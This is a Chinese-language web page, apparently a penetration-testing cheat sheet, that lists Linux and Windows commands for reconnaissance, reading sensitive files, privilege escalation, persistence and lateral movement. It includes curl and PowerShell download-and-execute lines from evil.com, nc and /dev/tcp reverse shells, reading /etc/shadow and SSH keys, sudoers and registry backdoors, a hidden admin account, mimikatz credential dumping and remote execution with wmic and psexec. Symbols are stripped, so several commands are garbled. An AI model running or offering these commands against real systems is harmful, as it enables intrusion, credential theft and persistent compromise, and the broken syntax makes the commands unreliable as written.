Windows和Linux常见命令

发布时间:2026/5/25 11:32:45

Windows和Linux常见命令 Linux 常用命令一、信息收集命令作用id查看当前用户及权限whoami当前用户名uname -a内核版本、主机名cat /etc/os-release发行版信息ifconfig/ip a网络配置、IP地址route -n路由表、网关arp -aARP表内网邻居netstat -anptu端口监听及连接ps aux进程列表ps aux | grep root查找root进程ls -la /home/用户家目录cat /etc/passwd所有用户账号cat /etc/shadow密码哈希需rootcat /etc/hosts内网域名映射find / -name *.conf 2/dev/null查找配置文件find / -perm -4000 2/dev/nullSUID文件提权sudo -l当前用户可执行的sudo命令crontab -l当前用户的定时任务systemctl list-units --typeservice所有服务二、文件操作 读取敏感文件命令作用cat /etc/passwd读取用户信息cat /var/www/html/config.php读取数据库配置cat /root/.bash_history历史命令cat ~/.ssh/id_rsaSSH私钥curl http://evil.com/script.sh | bash远程下载并执行wget http://evil.com/shell.php -O /tmp/shell.php下载文件nc -lvp 4444 -e /bin/bash反弹shell旧版ncbash -i /dev/tcp/10.0.0.1/4444 01经典反弹shellscp usertarget:/etc/shadow /tmp/复制远程文件三、提权 后渗透命令作用sudo -u root /bin/bash若配置不当可提权find / -perm -4000 -type f 2/dev/null查找SUID文件python -c import pty; pty.spawn(/bin/bash)获得稳定ttyexport PATH/tmp:$PATH劫持PATH如果/tmp可写echo hacker ALL(ALL) NOPASSWD:ALL /etc/sudoers添加sudo用户需写权限ssh -i id_rsa roottarget使用私钥登录四、横向移动命令作用ssh user10.0.0.2SSH跳板ssh -L 8080:target:80 userjump本地端口转发ssh -D 1080 userjump动态SOCKS代理proxychains nmap -sT -Pn 192.168.1.0/24通过代理扫描内网scp exploit.sh user10.0.0.2:/tmp/横向传输文件 Windows 常用命令CMD PowerShell一、信息收集命令作用whoami当前用户whoami /priv当前用户权限systeminfo系统补丁、版本信息ipconfig /all网络配置、MAC、DNSroute print路由表arp -aARP表netstat -ano端口及PIDtasklist进程列表tasklist /svc进程与服务对应net user本地用户列表net localgroup administrators管理员组用户net share共享目录wmic qfe get HotFixID已安装补丁wmic service list brief服务列表reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run开机启动项二、文件操作 读取敏感文件命令作用type C:\Windows\System32\drivers\etc\hosts读取hosts文件type C:\Users\%USERNAME%\Desktop\flag.txt读取桌面文件dir /s /b D:\*.conf查找配置文件copy C:\xampp\htdocs\config.php \\attacker\share\复制到共享如SMBcertutil -urlcache -f http://evil.com/shell.exe shell.exe下载文件powershell -c Invoke-WebRequest -Uri http://evil.com/beacon.exe -OutFile beacon.exePS下载文件powershell -c IEX(New-Object Net.WebClient).DownloadString(http://evil.com/script.ps1)内存执行PS脚本三、权限维持 后渗透命令作用net user hacker Pssw0rd /add添加用户net localgroup administrators hacker /add加入管理员组reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d C:\backdoor.exe开机自启schtasks /create /tn evil /tr C:\evil.exe /sc daily /st 09:00计划任务sc create EvilService binPath C:\evil.exe start auto创建服务mimikatz.exe privilege::debug sekurlsa::logonpasswords exit抓明文密码需工具reg save HKLM\SAM sam.save导出SAM文件离线破解四、横向移动命令作用net use \\10.0.0.2\IPC$ pass /user:admin建立IPC$连接copy shell.exe \\10.0.0.2\C$\Windows\Temp\拷贝文件到目标wmic /node:10.0.0.2 /user:admin /password:pass process call create C:\Windows\Temp\shell.exe远程执行psexec \\10.0.0.2 -u admin -p pass -s cmdPsExec执行需工具schtasks /s 10.0.0.2 /u admin /p pass /create /tn task /tr cmd.exe /sc once远程计划任务powershell -c Enter-PSSession -ComputerName 10.0.0.2 -Credential adminWinRM远程会话he

相关新闻